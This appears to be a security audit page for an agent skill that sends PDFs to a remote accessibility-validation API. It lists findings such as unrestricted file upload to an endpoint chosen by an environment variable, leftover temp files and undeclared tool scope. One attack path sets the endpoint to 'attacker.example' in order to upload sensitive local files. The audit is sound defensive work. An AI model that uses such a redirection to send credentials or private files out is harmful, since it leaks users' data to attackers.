Back to skill

Security audit

UA1 Validator Agent

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent PDF accessibility validator, but it can upload local files to an external or environment-selected API without strong scoping or confirmation.

Install only if you are comfortable sending selected PDFs to the UA1 validation service or to any endpoint you explicitly configure. Avoid using it on confidential, regulated, or credential-bearing files unless you have reviewed the service and environment settings, especially UA1_API_BASE.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/validate_pdf.sh:9
Finding

Unrestricted Local File Upload to an Environment-Controlled Endpoint

Content
View full analysis
&2 exit 1 fi UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}" UA1_FORMAT="${UA1_FORMAT:-compact}" if [[ "$UA1_FORMAT" == "compact" ]]; then URL="$UA1_API_BASE/api/validate?format=compact" else URL="$UA1_API_BASE/api/validate" fi TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")" ``` ### Technical Analysis The script verifies only that the supplied path refers to an existing regular file. It does not verify that the input has a `.pdf` extension or begins with a valid PDF signature. Any readable regular file can therefore be submitted, including configuration files, credentials, private keys, or other sensitive local data. The upload destination is derived directly from the `UA1_API_BASE` environment variable without validating its scheme or host. A caller who controls the process environment can redirect uploads to an arbitrary HTTP or HTTPS server. Plain HTTP is also accepted, which can expose uploaded documents to interception or modification in transit. The file path itself is correctly quoted, so this finding is not a shell command-injection issue. The risk instead arises from the combination of unrestricted file selection and an unrestricted network destination. ### Attack Path 1. An attacker gains control over the environment or invocation parameters used by an automated workflow. 2. The attacker sets `UA1_API_BASE` to a server under their control, such as `https://attacker.example`. 3. The attacker supplies the path of a sensitive readable file instead of a PDF: ```bash UA1_API_BASE="https://attacker.example" \ b ...[truncated 807 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/validate_pdf.sh:22
Finding

Temporary Response Files Are Not Removed After Transport Failure

Content
View full analysis
&2 cat "$TMP_BODY" >&2 rm -f "$TMP_BODY" "$TMP_HEADERS" exit 1 fi ``` The script also enables immediate termination near the beginning of the file: ```bash set -euo pipefail ``` ### Technical Analysis Temporary files are created with `mktemp`, but no exit trap is registered. Cleanup is performed only along normal control-flow paths after `curl` successfully returns an HTTP status. Because `set -e` is active, a nonzero `curl` exit status—such as a DNS failure, TLS error, connection reset, timeout, or local write error—causes the script to terminate while evaluating the command substitution. The later `rm` commands are then never reached. `mktemp` normally creates files with restrictive permissions, reducing direct cross-user exposure on correctly configured systems. Nevertheless, abandoned files may retain partial response bodies or HTTP headers and consume storage over repeated failures. ### Attack Path 1. The script creates temporary body and header files. 2. A network or TLS failure occurs while `curl` is running. An attacker with relevant network influence may be able to induce such a failure by refusing connections or interrupting the request. 3. `curl` returns a nonzero exit status. 4. Due to `set -e`, the shell exits immediately. 5. Neither temporary file is deleted because no `EXIT` trap exists. 6. Repeated failures leave additional residual files in the temporary directory. ### Impact Assessment The residual files may contain partial API response data or HTTP headers. The practical confidentiality ...[truncated 320 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill instructs agents to run a shell script but declares no tool scope or allowed-tools restrictions. In agent environments, this increases the chance that a model invokes shell access more broadly than intended, enabling unintended command execution paths or unsafe use in contexts that expected a documentation-only skill.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill tells agents to upload PDF files to a remote API but does not explicitly warn that document contents will leave the local environment. This is dangerous because PDFs may contain sensitive, regulated, or proprietary information, and an autonomous agent could transmit them externally without meaningful user awareness or consent.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
93% confidence
Finding

This endpoint definition introduces external network communication to a third-party service. Even though a health check may not upload the document itself, using an external service from an agent can still leak metadata such as network access patterns, environment usage, and service dependency details.

Content

Scanner excerpt · SKILL.md (reported line 12)May include surrounding context.

md
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

External Transmission

Medium
Category
Data Exfiltration
Confidence
99% confidence
Finding

The validate endpoint requires uploading the PDF file to an external API, creating a clear data exfiltration path for potentially confidential document contents. In an agentic workflow, this is especially risky because the skill presents the upload as a normal validation step without requiring explicit consent or trust review of the remote processor.

Content

Scanner excerpt · SKILL.md (reported line 13)May include surrounding context.

md
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

External Transmission

Medium
Category
Data Exfiltration
Confidence
99% confidence
Finding

The compact validation endpoint is another external file-upload path and carries the same confidentiality risk as the main validate endpoint. Its framing as the preferred deterministic mode may make agents more likely to use it by default, increasing the likelihood of silent transmission of sensitive PDFs to a remote service.

Content

Scanner excerpt · SKILL.md (reported line 14)May include surrounding context.

md
- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

## Required contract

External Transmission

Medium
Category
Data Exfiltration
Confidence
78% confidence
Finding

The metrics endpoint is an external transmission path, though it is less severe than file-upload validation because it typically does not require sending the PDF itself. However, automatic access to third-party metrics can still leak operational metadata and creates unnecessary network exposure if not clearly disclosed.

Content

Scanner excerpt · SKILL.md (reported line 15)May include surrounding context.

md
- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

## Required contract

External Transmission

Medium
Category
Data Exfiltration
Confidence
95% confidence
Finding

The curl POST sends the entire PDF to an external endpoint, which is a real external transmission rather than a hypothetical one. In the context of an agent skill, this is more dangerous because automation may process confidential files non-interactively, making silent transfer to a third-party API easy to miss and potentially noncompliant with privacy or data residency requirements.

Content

Scanner excerpt · scripts/validate_pdf.sh (reported line 27)May include surrounding context.

sh
TMP_BODY="$(mktemp)"
TMP_HEADERS="$(mktemp)"

HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \
  -X POST "$URL" \
  -F "file=@${FILE_PATH}")"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The script uploads the supplied PDF to a remote service using curl, but it does not provide any explicit warning, confirmation, or disclosure at runtime that document contents will leave the local environment. Because PDFs often contain sensitive or regulated data, this can cause unintended data exfiltration when used by an agent or in CI, especially if users assume validation is local.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.